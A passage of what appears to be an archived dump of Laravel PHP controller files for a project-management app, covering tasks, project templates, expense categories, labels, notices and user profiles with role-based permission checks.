$this->user->modules)); $this->viewTaskPermission = user()->permission('view_tasks'); $this->viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); return $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function index(Request $request) { $this->projects = Project::allProjects(); $this->clients = User::allClients(); $this->employees = User::allEmployees(); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); $this->taskBoardStatus = TaskboardColumn::all(); if (request('start') && request('end')) { $startDate = Carbon::parse(request('start'))->format('Y-m-d'); $endDate = Carbon::parse(request('end'))->format('Y-m-d'); $projectId = $request->projectID; $taskBoardColumn = TaskboardColumn::completeColumn(); $model = Task::leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->join('taskboard_columns', 'taskboard_columns.id', '=', 'tasks.board_column_id'); if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } else { $model->join('task_users', 'task_users.task_id', '=', 'tasks.id') ->join('users', 'task_users.user_id', '=', 'users.id'); } $model->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->select('tasks.*') ->whereNull('projects.deleted_at') ->with('boardColumn', 'users') ->groupBy('tasks.id'); if ($startDate !== null && $endDate !== null) { $model->where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); $q->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); }); } if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('tasks.project_id', '=', $projectId); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $model->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all') { $model->where('task_users.user_id', '=', $request->assignedTo); } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $model->where('creator_user.id', '=', $request->assignedBY); } if ($request->status != '' && $request->status != null && $request->status != 'all') { if ($request->status == 'not finished') { $model->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } else { $model->where('tasks.board_column_id', '=', $request->status); } } if ($request->label != '' && $request->label != null && $request->label != 'all') { $model->where('task_labels.label_id', '=', $request->label); } if ($request->categoryId != '' && $request->categoryId != null && $request->categoryId != 'all') { $model->where('tasks.task_category_id', '=', $request->categoryId); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $model->where('tasks.billable', '=', $request->billable); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('member.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%'); }); } if ($this->viewTaskPermission == 'owned') { $model->where(function ($q1) use ($request) { $q1->where('task_users.user_id', '=', user()->id); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', user()->id); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } if ($this->viewTaskPermission == 'added') { $model->where('tasks.added_by', '=', user()->id); } if ($this->viewTaskPermission == 'both') { $model->where(function ($q1) use ($request) { $q1->where('task_users.user_id', '=', user()->id); $q1->orWhere('tasks.added_by', '=', user()->id); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', user()->id); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } $tasks = $model->get(); $taskData = array(); foreach ($tasks as $key => $value) { $taskData[] = [ 'id' => $value->id, 'title' => $value->heading, 'start' => $value->start_date->format('Y-m-d'), 'end' => (!is_null($value->due_date) ? $value->due_date->format('Y-m-d') : $value->start_date->format('Y-m-d')), 'color' => $value->boardColumn->label_color ]; } return $taskData; } $taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); if (!in_array('admin', user_roles()) && in_array('employee', user_roles())) { $user = User::findOrFail(user()->id); $this->waitingApprovalCount = $user->tasks()->where('board_column_id', $taskBoardColumn->id)->count(); }else{ $this->waitingApprovalCount = Task::where('board_column_id', $taskBoardColumn->id)->count(); } return view('tasks.calendar', $this->data); } } Http/Controllers/ProjectTemplateController.php000064400000020736150325104510015654 0ustar00pageTitle = 'app.menu.projectTemplate'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(ProjectTemplatesDataTable $dataTable) { $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); $this->viewProjectTemplatePermission = user()->permission('view_project_template'); abort_403(!in_array($this->viewProjectTemplatePermission, ['all']) && !in_array($this->manageProjectTemplatePermission, ['all', 'added'])); return $dataTable->render('project-templates.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $this->pageTitle = __('app.menu.addProjectTemplate'); $this->categories = ProjectCategory::all(); $this->employees = User::allEmployees(); $this->view = 'project-templates.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('project-templates.create', $this->data); } /** * @param StoreProject $request * @return mixed|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreProject $request) { $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $project = new ProjectTemplate(); $project->project_name = $request->project_name; if ($request->project_summary != '') { $project->project_summary = $request->project_summary; } if ($request->notes != '') { $project->notes = $request->notes; } if ($request->category_id != '') { $project->category_id = $request->category_id; } if ($request->client_view_task) { $project->client_view_task = 'enable'; } else { $project->client_view_task = 'disable'; } if (($request->client_view_task) && ($request->client_task_notification)) { $project->allow_client_notification = 'enable'; } else { $project->allow_client_notification = 'disable'; } if ($request->manual_timelog) { $project->manual_timelog = 'enable'; } else { $project->manual_timelog = 'disable'; } $project->added_by = user()->id; $project->save(); return Reply::dataOnly(['projectID' => $project->id]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->template = ProjectTemplate::findOrFail($id); $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); $this->viewProjectTemplatePermission = user()->permission('view_project_template'); abort_403(!in_array($this->viewProjectTemplatePermission, ['all']) && !in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $tab = request('tab'); switch ($tab) { case 'members': $this->view = 'project-templates.ajax.members'; break; case 'tasks': $this->taskBoardStatus = TaskboardColumn::all(); return $this->tasks(); default: $this->view = 'project-templates.ajax.overview'; break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'overview'; return view('project-templates.show', $this->data); } public function tasks() { $manageProjectTemplatePermission = user()->permission('manage_project_template'); abort_403(in_array($this->viewProjectTemplatePermission, ['none']) && in_array($this->manageProjectTemplatePermission, ['none', 'both'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'project-templates.ajax.tasks'; $dataTable = new ProjectTemplateTasksDataTable(); return $dataTable->render('project-templates.show', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->template = ProjectTemplate::findOrFail($id); $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $this->pageTitle = __('app.update') . ' ' . __('app.project'); $this->categories = ProjectCategory::all(); $this->view = 'project-templates.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('project-templates.create', $this->data); } /** * @param StoreProject $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(StoreProject $request, $id) { $project = ProjectTemplate::findOrFail($id); $project->project_name = $request->project_name; if ($request->project_summary != '') { $project->project_summary = $request->project_summary; } if ($request->notes != '') { $project->notes = trim_editor($request->notes); } if ($request->category_id != '') { $project->category_id = $request->category_id; } if ($request->client_view_task) { $project->client_view_task = 'enable'; } else { $project->client_view_task = 'disable'; } if (($request->client_view_task) && ($request->client_task_notification)) { $project->allow_client_notification = 'enable'; } else { $project->allow_client_notification = 'disable'; } if ($request->manual_timelog) { $project->manual_timelog = 'enable'; } else { $project->manual_timelog = 'disable'; } $project->client_id = $request->client_id; $project->feedback = $request->feedback; $project->save(); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('project-template.index')]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { ProjectTemplate::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); if(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])) { return Reply::error(__('messages.permissionDenied')); } $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { ProjectTemplate::whereIn('id', explode(',', $request->row_ids))->delete(); } } Http/Controllers/ExpenseCategoryController.php000064400000011134150325104510015647 0ustar00pageTitle = 'app.menu.expenses'; $this->middleware(function ($request, $next) { abort_403(!in_array('expenses', $this->user->modules)); return $next($request); }); } public function create() { $this->categories = $this->getCategoryByCurrentRole(); $this->roles = Role::where('name', '<>', 'admin')->where('name', '<>', 'client')->get(); return view('expenses.category.create', $this->data); } public function store(StoreExpenseCategory $request) { $category = new ExpensesCategory(); $category->category_name = strip_tags($request->category_name); $category->save(); $roles = $request->role; if ($request->role && count($roles) > 0) // If selected role id. { ExpensesCategoryRole::where('expenses_category_id', $category->id)->delete(); foreach ($roles as $role) { $expansesCategoryRoles = new ExpensesCategoryRole(); $expansesCategoryRoles->expenses_category_id = $category->id; $expansesCategoryRoles->role_id = $role; $expansesCategoryRoles->save(); } } else { // If not selected role id select all roles default. $rolesData = Role::where('name', '<>', 'admin')->where('name', '<>', 'client')->get(); foreach ($rolesData as $roleData) { $expansesCategoryRoles = new ExpensesCategoryRole(); $expansesCategoryRoles->expenses_category_id = $category->id; $expansesCategoryRoles->role_id = $roleData->id; $expansesCategoryRoles->save(); } } $categories = ExpensesCategory::with(['roles', 'roles.role'])->get(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public function update(StoreExpenseCategory $request, $id) { $group = ExpensesCategory::findOrFail($id); $category = $request->category_name; if ($request->has('role_update')) // If selected role id. { $roles = $request->roles; if ((is_array($roles) && count($roles) == 0) || is_null($roles)) { return Reply::error(__('messages.roleNotAssigned')); } ExpensesCategoryRole::where('expenses_category_id', $group->id)->delete(); foreach ($roles as $role) { $expansesCategoryRoles = new ExpensesCategoryRole(); $expansesCategoryRoles->expenses_category_id = $group->id; $expansesCategoryRoles->role_id = $role; $expansesCategoryRoles->save(); } } if ($category != '') { $group->category_name = $request->category_name; } $group->save(); $categories = ExpensesCategory::all(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } public function destroy($id) { ExpensesCategory::destroy($id); $categories = ExpensesCategory::all(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $options]); } public static function getCategoryByCurrentRole() { $categories = ExpensesCategory::with(['roles', 'roles.role']); if (!in_array('admin', user_roles()) && !in_array('client', user_roles())) { $userRoleID = DB::select('select user_roles.role_id from role_user as user_roles where user_roles.user_id = ' . user()->id . ' ORDER BY user_roles.role_id DESC limit 1'); $categories = $categories->join('expenses_category_roles', 'expenses_category_roles.expenses_category_id', 'expenses_category.id') ->join('roles', 'expenses_category_roles.role_id', 'roles.id') ->select('expenses_category.*') ->where('expenses_category_roles.role_id', $userRoleID[0]->role_id); } return $categories->get(); } } Http/Controllers/TaskLabelController.php000064400000015327150325104510014414 0ustar00pageTitle = 'app.menu.taskLabel'; } public function create() { $this->taskLabels = TaskLabelList::all(); $this->projects = Project::all(); $this->taskId = request()->task_id; $this->projectTemplateTaskId = request()->project_template_task_id; $this->projectId = request()->project_id; return view('tasks.create_label', $this->data); } public function store(StoreRequest $request) { abort_403(user()->permission('task_labels') !== 'all'); $taskLabel = new TaskLabelList(); $this->storeLabel($request, $taskLabel); if ($request->parent_project_id != '') { $allTaskLabels = TaskLabelList::whereNull('project_id')->orWhere('project_id', $request->parent_project_id)->get(); } else { $allTaskLabels = TaskLabelList::whereNull('project_id')->get(); } if($request->task_id){ $task = Task::with('label')->findOrFail($request->task_id); $currentTaskLable = $task->label; }elseif($request->project_template_task_id){ $task = ProjectTemplateTask::findOrFail($request->project_template_task_id); $currentTaskLable = explode(',', $task->task_labels); } else { $currentTaskLable = collect([]); } $labels = ''; foreach ($allTaskLabels as $key => $value) { $selected = ''; foreach ($currentTaskLable as $item){ if (is_object($item) && $item->label_id == $value->id) { $selected = 'selected'; } elseif (is_string($item) && $item == $value->id) { $selected = 'selected'; } } $labels .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $labels]); } public function update(Request $request, $id) { abort_403(user()->permission('task_labels') !== 'all'); $taskLabel = TaskLabelList::findOrFail($id); $this->storeUpdate($request, $taskLabel); if ($request->parent_project_id != '') { $allTaskLabels = TaskLabelList::whereNull('project_id')->orWhere('project_id', $request->parent_project_id)->get(); } else { $allTaskLabels = TaskLabelList::whereNull('project_id')->get(); } $labels = ''; foreach ($allTaskLabels as $key => $value) { $labels .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $labels]); } private function storeLabel($request, $taskLabel) { $taskLabel->label_name = trim($request->label_name); $taskLabel->description = trim_editor($request->description); $taskLabel->project_id = $request->project_id; if ($request->has('color')) { $taskLabel->color = $request->color; } $taskLabel->save(); return $taskLabel; } private function storeUpdate($request, $taskLabel) { if($request->label_name != null){ $taskLabel->label_name = trim($request->label_name); } if($request->description != null){ $taskLabel->description = trim_editor($request->description); } $oldProjectId = $taskLabel->project_id; $newProjectId = $request->project_id; if ($request->has('project_id')) { $taskLabel->project_id = $newProjectId; } if ($request->has('color')) { $taskLabel->color = $request->color; } if ($oldProjectId != $newProjectId) { $tasksWithOldProject = TaskLabel::where('label_id', $taskLabel->id) ->get(); foreach ($tasksWithOldProject as $task) { $task->delete(); } } $taskLabel->save(); return $taskLabel; } public function destroy($id) { abort_403(user()->permission('task_labels') !== 'all'); TaskLabelList::destroy($id); $allTaskLabels = TaskLabelList::all(); if(request()->taskId){ $task = Task::with('label')->findOrFail(request()->taskId); $currentTaskLable = $task->label; } elseif(request()->projectTemplateTaskId){ $task = ProjectTemplateTask::findOrFail(request()->projectTemplateTaskId); $currentTaskLable = explode(',', $task->task_labels); } else { $currentTaskLable = collect([]); } $labels = ''; foreach ($allTaskLabels as $key => $value) { $selected = ''; foreach ($currentTaskLable as $item){ if (is_object($item) && $item->label_id == $value->id) { $selected = 'selected'; } elseif (is_string($item) && $item == $value->id) { $selected = 'selected'; } } $labels .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $labels]); } public function labels($id) { $options = ''; if ($id == 0) { $labels = TaskLabelList::whereNull('project_id')->get(); } else{ $labels = TaskLabelList::where('project_id', $id)->orWhereNull('project_id')->get(); } foreach ($labels as $item) { $options .= ''; } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } } Http/Controllers/UnitTypeController.php000064400000006067150325104510014334 0ustar00pageTitle = 'app.menu.financeSettings'; $this->activeSettingMenu = 'invoice_settings'; } public function index() { return view('invoice-settings.ajax.units'); } public function create() { return view('invoice-settings.ajax.unit-type'); } public function store(UnitTypeRequest $request) { $this->addPermission = user()->permission('manage_project_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $unit_type = new UnitType(); $unit_type->unit_type = $request->unit_type; $unit_type->save(); $unit_types = UnitType::all(); $options = BaseModel::options($unit_types, $unit_type, 'unit_type'); return Reply::successWithData(__('messages.unitTypeAdded'), ['data' => $options]); } public function edit($id) { $this->unitType = UnitType::findOrFail($id); return view('invoice-settings.ajax.unit-edit', $this->data); } public function setDefaultUnit() { UnitType::where('default', 1)->update(['default' => 0]); $unitType = UnitType::findOrFail(request()->unitID); $unitType->default = 1; $unitType->save(); session()->forget('invoice_setting'); return Reply::success(__('messages.updateSuccess')); } public function update(UnitTypeRequest $request, $id) { $unitType = UnitType::findOrFail($id); $unitType->unit_type = strip_tags($request->unit_type); $unitType->save(); $categories = UnitType::all(); $options = BaseModel::options($categories, null, 'unit_type'); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } public function destroy($id) { $unitExists1 = Product::where('company_id', company()->id) ->where('unit_id', $id)->first(); $unitExists2 = InvoiceItems::where('unit_id', $id)->first(); $unitExists3 = ProposalItem::where('unit_id', $id)->first(); $unitExists4 = EstimateItem::where('unit_id', $id)->first(); if(is_null($unitExists1) && is_null($unitExists2) && is_null($unitExists3) && is_null($unitExists4)) { UnitType::destroy($id); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.unitDeleteError')); } public function units() { $this->unitTypes = UnitType::all(); return view('invoice-settings.ajax.units', $this->data); } } Http/Controllers/NoticeController.php000064400000024333150325104510013770 0ustar00pageTitle = 'app.menu.noticeBoard'; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(NoticeBoardDataTable $dataTable) { $viewPermission = user()->permission('view_notice'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); return $dataTable->render('notices.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_notice'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->teams = Team::all(); $this->pageTitle = __('modules.notices.addNotice'); $this->view = 'notices.ajax.create'; $this->employees = User::allEmployees(null, true); $this->clients = User::allClients(null, true); if (request()->ajax()) { return $this->returnAjax($this->view); } return view('notices.create', $this->data); } /** * @param StoreNotice $request * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreNotice $request) { $this->addPermission = user()->permission('add_notice'); abort_403(!in_array($this->addPermission, ['all', 'added'])); DB::beginTransaction(); $notice = new Notice(); $notice->heading = $request->heading; $notice->description = trim_editor($request->description); $notice->to = $request->to; $notice->department_id = $request->team_id == 0 ? null : $request->team_id; $notice->save(); if (($request->to == 'employee' && isset($request->employees)) || ($request->to == 'client' && isset($request->clients))) { $noticeUsers = []; $type = $request->to; $users = ($type == 'employee') ? $request->employees : $request->clients; foreach ($users as $user) { $noticeUsers[] = [ 'notice_id' => $notice->id, 'type' => $type, 'user_id' => $user ]; } if (!empty($noticeUsers)) { NoticeBoardUser::insert($noticeUsers); } } DB::commit(); return Reply::successWithData(__('messages.recordSaved'), ['noticeID' => $notice->id, 'redirectUrl' => route('notices.index')]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->notice = Notice::with('member', 'member.user')->findOrFail($id); $this->viewPermission = user()->permission('view_notice'); $userId = UserService::getUserId(); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->notice->added_by == $userId) || ($this->viewPermission == 'owned' && in_array($this->notice->to, user_roles())) || ($this->viewPermission == 'both' && (in_array($this->notice->to, user_roles()) || $this->notice->added_by == $userId)) )); $this->deletePermission = user()->permission('delete_notice'); $readUser = $this->notice->member->filter(function ($value, $key) use ($userId) { return $value->user_id == $userId && $value->notice_id == $this->notice->id; })->first(); if ($readUser) { $readUser->read = 1; $readUser->save(); } $noticeEmployees = NoticeBoardUser::where('notice_id', $this->notice->id)->where('type', 'employee')->pluck('user_id')->toArray(); $this->noticeEmployees = User::whereIn('id', $noticeEmployees)->get(); $noticeClients = NoticeBoardUser::where('notice_id', $this->notice->id)->where('type', 'client')->pluck('user_id')->toArray(); $this->noticeClients = User::whereIn('id', $noticeClients)->get(); if(in_array('client', user_roles())){ $this->noticeClients = User::where('id', $userId)->get(); } $this->readMembers = $this->notice->member->filter(function ($value, $key) { return $value->read == 1; }); $this->unReadMembers = $this->notice->member->filter(function ($value, $key) { return $value->read == 0; }); $this->pageTitle = __('app.menu.noticeBoard'); $this->view = 'notices.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('notices.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->notice = Notice::findOrFail($id); $this->editPermission = user()->permission('edit_notice'); $userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $this->notice->added_by == $userId) || ($this->editPermission == 'owned' && in_array($this->notice->to, user_roles())) || ($this->editPermission == 'both' && (in_array($this->notice->to, user_roles()) || $this->notice->added_by == $userId)) )); $this->teams = Team::all(); $this->pageTitle = __('modules.notices.updateNotice'); $this->employees = $this->notice->department_id ? User::departmentUsers($this->notice->department_id) : User::allEmployees(null, true); $this->clients = User::allClients(null, true); $this->employeeArray = NoticeBoardUser::where('notice_id', $id)->where('type', 'employee')->pluck('user_id')->toArray(); $this->clientArray = NoticeBoardUser::where('notice_id', $id)->where('type', 'client')->pluck('user_id')->toArray(); $this->view = 'notices.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('notices.create', $this->data); } /** * @param StoreNotice $request * @param int $id * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(StoreNotice $request, $id) { $notice = Notice::findOrFail($id); $this->editPermission = user()->permission('edit_notice'); $userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $notice->added_by == $userId) || ($this->editPermission == 'owned' && in_array($notice->to, user_roles())) || ($this->editPermission == 'both' && (in_array($notice->to, user_roles()) || $notice->added_by == $userId)) )); DB::beginTransaction(); $notice->heading = $request->heading; $notice->description = trim_editor($request->description); $notice->to = $request->to; $notice->department_id = $request->team_id == 0 ? null : $request->team_id; $notice->save(); $type = $request->to; $users = ($type == 'employee') ? $request->employees : $request->clients; if (!empty($users)) { $noticeUsers = []; foreach ($users as $user) { $exists = NoticeBoardUser::where('notice_id', $notice->id) ->where('type', $type) ->where('user_id', $user) ->exists(); if (!$exists) { $noticeUsers[] = [ 'notice_id' => $notice->id, 'type' => $type, 'user_id' => $user ]; } } if (!empty($noticeUsers)) { NoticeBoardUser::insert($noticeUsers); } } DB::commit(); return Reply::successWithData(__('messages.updateSuccess'), ['noticeID' => $notice->id, 'redirectUrl' => route('notices.index')]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $notice = Notice::findOrFail($id); $this->deletePermission = user()->permission('delete_notice'); $userId = UserService::getUserId(); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $notice->added_by == $userId) || ($this->deletePermission == 'owned' && in_array($notice->to, user_roles())) || ($this->deletePermission == 'both' && (in_array($notice->to, user_roles()) || $notice->added_by == $userId)) )); $file = NoticeFile::where('notice_id', $id)->first(); if ($file) { $file->delete(); } Notice::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('notices.index')]); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_notice') != 'all'); Notice::whereIn('id', explode(',', $request->row_ids))->forceDelete(); } } Http/Controllers/QuickbookSettingsController.php000064400000003174150325104510016217 0ustar00pageTitle = 'app.menu.quickbookSettings'; $this->pageIcon = 'icon-settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_finance_setting') !== 'all'); return $next($request); }); } public function update(UpdateQuickBooksSetting $request) { $credential = QuickBooksSetting::first(); if ($request->environment == 'Development') { $credential->sandbox_client_id = $request->sandbox_client_id; $credential->sandbox_client_secret = $request->sandbox_client_secret; if ($credential->isDirty('sandbox_client_id') || $credential->isDirty('sandbox_client_secret')) { $credential->access_token = null; } } else { $credential->client_id = $request->client_id; $credential->client_secret = $request->client_secret; if ($credential->isDirty('client_id') || $credential->isDirty('client_secret')) { $credential->access_token = null; } } $credential->environment = $request->environment; $credential->status = $request->status ? 1 : 0; $credential->save(); return Reply::redirect(route('invoice-settings.index').'?tab=quickbooks', __('messages.updateSuccess')); } } Http/Controllers/ProfileController.php000064400000010643150325104510014146 0ustar00has('clientContact') && session('clientContact')) { // $clientContact = ClientContact::findOrFail(session('clientContact')->id); // $clientContact->contact_name = $request->name; // $clientContact->phone = $request->mobile; // $clientContact->email = $request->email; // $clientContact->save(); // session(['clientContact' => $clientContact]); // $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail(session('clientContact')->client_id); // }else{ $user = user(); // } // For profile image to be uploaded locally $user->name = $request->name; $user->email = $request->email; $user->salutation = $request->salutation; $user->gender = $request->gender; $user->country_id = $request->country_id; $user->country_phonecode = $request->country_phonecode; $user->mobile = $request->mobile; $user->email_notifications = $request->email_notifications; $user->locale = $request->locale; $user->rtl = $request->rtl; $user->google_calendar_status = $request->google_calendar_status; $user->twitter_id = $request->twitter_id; if (!is_null($request->password)) { $user->password = Hash::make($request->password); } if ($request->image_delete == 'yes') { Files::deleteFile($user->image, 'avatar'); $user->image = null; } if ($request->hasFile('image')) { Files::deleteFile($user->image, 'avatar'); $user->image = Files::uploadLocalOrS3($request->image, 'avatar', 300); } if ($request->has('telegram_user_id')) { $user->telegram_user_id = $request->telegram_user_id; } if ($user->isDirty('locale')) { $redirect = true; } $user->save(); if ($user->clientDetails) { $fields = $request->only($user->clientDetails->getFillable()); $user->clientDetails->fill($fields); $user->clientDetails->save(); } else { // adding address to employee_details $this->addEmployeeDetail($request, $user); } session()->forget('user'); session()->forget('isRtl'); $this->logUserActivity($user->id, 'messages.updatedProfile'); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('profile-settings.index'); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl, 'redirect' => $redirect]); } public function addEmployeeDetail($request, $user) { $employee = EmployeeDetails::where('user_id', $user->id)->first(); if (empty($employee)) { $employee = new EmployeeDetails(); $employee->user_id = $user->id; } $employee->date_of_birth = $request->date_of_birth ? companyToYmd($request->date_of_birth) : null; $employee->address = $request->address; $employee->slack_username = $request->slack_username; $employee->about_me = $request->about_me; if (in_array('employee', user_roles())) { $employee->marital_status = $request->marital_status; $employee->marriage_anniversary_date = $request->marriage_anniversary_date ? companyToYmd($request->marriage_anniversary_date) : null; } $employee->save(); } public function darkTheme(Request $request) { $user = user(); $user->dark_theme = $request->darkTheme; $user->save(); session()->forget('user'); return Reply::success(__('messages.updateSuccess')); } public function updateOneSignalId(Request $request) { $user = user(); $user->onesignal_player_id = $request->userId; $user->save(); session()->forget('user'); } } Http/Controllers/TaskCommentController.php000064400000016122150325104510014771 0ustar00pageTitle = 'app.menu.tasks'; $this->middleware(function ($request, $next) { abort_403(!in_array('tasks', $this->user->modules)); return $next($request); }); } /** * @param StoreTaskComment $request * @return mixed * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTaskComment $request) { $this->addPermission = user()->permission('add_task_comments'); $task = Task::findOrFail($request->taskId); $taskUsers = $task->users->pluck('id')->toArray(); $userId = UserService::getUserId(); abort_403(!( $this->addPermission == 'all' || ($this->addPermission == 'added' && ($task->added_by == user()->id || $task->added_by == $userId)) || ($this->addPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->addPermission == 'added' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id || $task->added_by == $userId)) )); $comment = new TaskComment(); $comment->comment = $request->comment; $comment->task_id = $request->taskId; $comment->user_id = $userId; $comment->save(); $this->comments = TaskComment::with('user', 'task', 'like', 'dislike', 'likeUsers', 'dislikeUsers')->where('task_id', $request->taskId)->orderByDesc('id')->get(); $view = view('tasks.comments.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $comment = TaskComment::findOrFail($id); $this->deletePermission = user()->permission('delete_task_comments'); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added') && ($comment->added_by == user()->id || $comment->added_by == $this->userId || in_array($comment->added_by, $this->clientIds)))); $comment_task_id = $comment->task_id; $comment->delete(); $this->comments = TaskComment::with('user', 'task', 'like', 'dislike', 'likeUsers', 'dislikeUsers')->where('task_id', $comment_task_id)->orderByDesc('id')->get(); $view = view('tasks.comments.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function edit($id) { $this->comment = TaskComment::with('user', 'task')->findOrFail($id); $taskuserData = []; $usersData = $this->comment->task->users; $userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $taskuserData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->taskuserData = $taskuserData; $this->editPermission = 